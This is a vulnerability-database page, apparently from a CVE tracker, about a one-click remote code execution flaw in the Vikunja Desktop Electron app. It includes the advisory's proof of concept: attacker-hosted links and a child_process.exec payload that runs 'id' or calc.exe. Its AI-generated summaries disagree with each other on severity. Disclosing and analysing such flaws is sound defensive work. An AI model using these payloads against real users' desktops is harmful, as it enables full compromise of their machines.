Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents exceptionally high real-world risk despite the absence of a CVSS vector score in the public record. Attack vector is network-based with low complexity (a simple HTML link requires no user interaction beyond a single click within normal application usage), and no authentication bypass is required—the attacker need only be a legitimate user on the same Vikunja instance. The impact is critical: arbitrary code execution as the victim's OS user enables full system compromise, credential theft, and lateral movement. Exploitation is highly automatable, and proof-of-concept code has been published via GitHub Security Lab Taskflows. The presence of an official patch (version 2.2.0) and GitHub Security Advisory (GHSA-83w9-9jf6-88vf) confirms vendor acknowledgment of severity. While no KEV or EPSS score is presently available in public databases, the technical profile (RCE via trivial user interaction with stable POC in a popular open-source application) indicates this warrants immediate patching and ranks among the highest-priority Desktop application vulnerabilities. Organizations running Vikunja Desktop on any version prior to 2.2.0 face imminent compromise risk from both internal malicious actors and external attackers with valid user accounts. |
| Exploit ScenarioDerived | An attacker with legitimate access to a shared Vikunja project edits the project description to include a link such as <a href="https://attacker-controlled-domain/payload.html">Q4 Planning Document</a>. The payload HTML contains JavaScript that invokes require('child_process').exec() to run arbitrary OS commands. When a victim using Vikunja Desktop clicks the link expecting to view a document, the BrowserWindow navigates to the attacker's domain with nodeIntegration enabled, and the JavaScript executes with full OS user privileges, allowing the attacker to install malware, steal credentials, or pivot to other systems. A complete proof-of-concept demonstrating command execution (e.g., spawning calc.exe on Windows) has been published and requires only one click to trigger. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 24, 2026
Vikunja Desktop (Electron wrapper) versions 0.21.0 through 2.1.x contain a critical remote code execution vulnerability caused by enabled Node.js integration combined with missing navigation controls. An attacker who is a legitimate user on a shared Vikunja instance can inject a malicious hyperlink into user-generated content (task descriptions, comments, project descriptions) that, when clicked by a victim using Vikunja Desktop, causes arbitrary code execution with the victim's OS user privileges. A proof-of-concept demonstrating command execution via a simple HTML link has been documented, and the vulnerability affects all Desktop users on affected versions.
RemediationAI
Immediately upgrade Vikunja Desktop to version 2.2.0 or later, which disables nodeIntegration and implements will-navigate event handlers to restrict same-window navigations. Users unable to upgrade immediately should avoid clicking links within task descriptions, comments, and project descriptions from untrusted sources, and should disable Desktop application use in favor of the web interface until patching is complete. Organization administrators should enforce automatic updates for Vikunja Desktop via endpoint management tools and audit user accounts for suspicious activity, as the vulnerability allows any authenticated user to trigger code execution. For long-term hardening, review Electron application security best practices in the official Electron documentation (https://www.electronjs.org/docs/tutorial/security) and consider network segmentation to limit the impact of a compromised endpoint.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Vikunja is an open-source task management platform distributed via cpe:2.3:a:go-vikunja:vikunja with both server and Electron-based Desktop components. The vulnerability stems from two misconfigurations in the Electron main process (desktop/main.js): enablement of nodeIntegration: true in BrowserWindow web preferences grants full Node.js API access (require, child_process, fs) to any JavaScript executing in the renderer, and absence of a will-navigate or will-redirect event handler allows same-window navigations to attacker-controlled origins. The existing setWindowOpenHandler only intercepts window.open() calls (new-window requests), not standard anchor tag navigation, HTTP redirects, or meta refresh directives. This combination violates the principle of least privilege and represents a CWE-94 (Improper Control of Generation of Code) vulnerability where untrusted input (user-controlled links) can trigger execution of Node.js code in a privileged context.
Know when Vikunja gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
Root cause
Two misconfigurations combine to create this vulnerability:
nodeIntegration: trueis set inBrowserWindowweb preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require,child_process,fs, etc.).- No
will-navigateorwill-redirecthandler is registered on thewebContents. The existingsetWindowOpenHandler(desktop/main.js:19-23) only interceptswindow.open()calls (new-window requests). It does not intercept same-window navigations triggered by:
<a href="https://...">links (withouttarget="_blank")window.locationassignments- HTTP redirects
<meta http-equiv="refresh">tags
Attack scenario
- The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
- The attacker creates or edits a project description or task description containing a standard HTML link, e.g.:
<a href="https://evil.example/exploit">Click here for the updated design spec</a> - The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example:
frontend/src/views/project/ProjectInfo.vueusesv-htmlwith DOMPurify-sanitized output. - The victim uses Vikunja Desktop and clicks the link.
- Because no
will-navigatehandler exists, the BrowserWindow navigates tohttps://evil.example/exploitin the same renderer process. - The attacker's page now executes in a context with
nodeIntegration: trueand runs:require('child_process').exec('id > /tmp/pwned'); - Arbitrary commands execute as the victim's OS user.
Impact
Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
Proof of concept
- Set up a Vikunja instance with two users sharing a project.
- As the attacker user, edit a project description to include:
<a href="https://attacker.example/poc.html">Meeting notes</a> - Host poc.html with:
<script>require('child_process').exec('calc.exe')</script> - As the victim, open the project in Vikunja Desktop and click the link.
- calc.exe (or any other command) executes on the victim's machine.
Credits
This vulnerability was found using GitHub Security Lab Taskflows.
Executive ViewAI
Organizations using version 0.21.0 and should be aware of notable risk from CVE-2026-33336, a code injection vulnerability rated CVSS 6.5. Exploitation could allow attackers to execute code or inject malicious input. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: deploy WAF rules, restrict network access, enable logging.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Related Vulnerabilities in Vikunja Authorization and Information Disclosure
View all 9Cross-tenant information disclosure in the self-hosted task manager Vikunja (0.24.0 through 2.3.0) lets a holder of any
Weak password policy in Vikunja task management before 2.0.0 allows users to set trivially guessable passwords. PoC avai
Principal type confusion in Vikunja (versions 0.22.0-2.3.0) allows an authenticated low-privilege attacker to fully cont
Stored cross-site scripting (XSS) in Vikunja prior to version 2.0.0 allows authenticated attackers to steal authenticati
Vikunja before version 2.0.0 contains a path traversal vulnerability in its backup restoration function that fails to va
Vikunja is an open-source self-hosted task management platform. [CVSS 6.1 MEDIUM]
Business logic vulnerability in Vikunja task management platform before 2.1.0 allows incomplete resource cleanup, potent
Instance-wide data breach in Vikunja before 2.2.1 lets remote attackers exfiltrate and destroy every file attachment acr
Vikunja's OIDC callback handler issues a full JWT to any successfully matched user without checking whether that account
Vikunja instances before 2.6.0 expose CalDAV BasicAuth endpoints (/dav, /.well-known, and /feeds) that are not covered b
Vikunja versions before 2.6.0 ship authentication endpoints under /api/v2 (login, register, password-reset, and OAuth to
Vikunja prior to 2.6.0 leaks the secret hash that backs a project's link shares through its single-share read endpoint,
EUVD-2026-14911
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB